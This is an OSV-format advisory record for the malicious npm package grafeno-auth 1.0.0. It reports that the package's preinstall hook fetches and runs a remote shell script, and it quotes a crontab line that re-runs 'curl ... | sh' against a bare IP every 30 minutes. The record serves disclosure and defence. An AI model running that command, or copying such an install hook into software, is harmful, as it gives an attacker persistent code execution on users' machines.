grafeno-auth

{"schema_version":"1.7.4","id":"MAL-2026-15502","published":"2026-08-28T23:01:43Z","modified":"2026-08-28T23:39:51.245727982Z","summary":"Malicious code in grafeno-auth (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (c3c99ded091548bc464635b9c1151368873851c4a97036279f46f74b5c7ca59a)\npackage.json declares a preinstall hook that shells out via node -e / child_process to curl http://216.126.236.46/x.sh over plain HTTP and pipes the response to sh, then appends a crontab entry ('*/30 * * * * curl -s 216.126.236.46/x.sh|sh') that re-fetches and re-executes the same URL every 30 minutes. The shipped index.js is an inert stub exporting a no-op login function, so the manifest's lifecycle hook is the package's only real behavior. Running npm install executes attacker-controlled code from a bare-IP HTTP endpoint on the installer's host and establishes persistent remote code delivery via cron; the payload at that URL is mutable by the operator of the IP.\n\n## Source: ossf-package-analysis (99cc2c553314bb426724c65f313119212461879d87e65dd3488c32cfcd98d0be)\nThe OpenSSF Package Analysis project identified 'grafeno-auth' @ 1.0.0 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.\n","affected":[{"package":{"name":"grafeno-auth","ecosystem":"npm"},"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"87c4dd457e2fd50eb675dcdee973d77f867b152799c8438d424d9a238d573efc","tlsh":"9af05cf09c20f9b36a4e01702a7942b6f7d3499a0d08ac045b0a0158f1de3e35db989b"},{"path":"index.js","sha256":"2fe4990ebe88dbe4aae748964241f38320310af6206ec9841a5cc1dff360e0a3","tlsh":"1b9002065398b25f4509ba15f945940b298b48910151891822e86964144795ca150c88"}],"package_integrity":[{"filename":"grafeno-auth-1.0.0.tgz","hashes":{"sha1":"c962ec21270fedc416edbebd8741c402833971f7","sha512_sri":"sha512-qO6UPhHycEsOL4vLO6RboB1FNslZCimBWketM1czog2jcuh6l++T3roHMIHZqXz3I+S+OI4KTWvF1Rnb2M8Fiw=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/grafeno-auth/v/1.0.0"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-019061","import_time":"2026-08-28T23:14:35.296422356Z","modified_time":"2026-08-28T23:01:43Z","sha256":"c3c99ded091548bc464635b9c1151368873851c4a97036279f46f74b5c7ca59a","source":"amazon-inspector","versions":["1.0.0"]},{"import_time":"2026-08-28T23:38:00.716997459Z","modified_time":"2026-08-28T23:17:53Z","sha256":"99cc2c553314bb426724c65f313119212461879d87e65dd3488c32cfcd98d0be","source":"ossf-package-analysis","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"OpenSSF: Package Analysis","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"],"type":"FINDER"}]}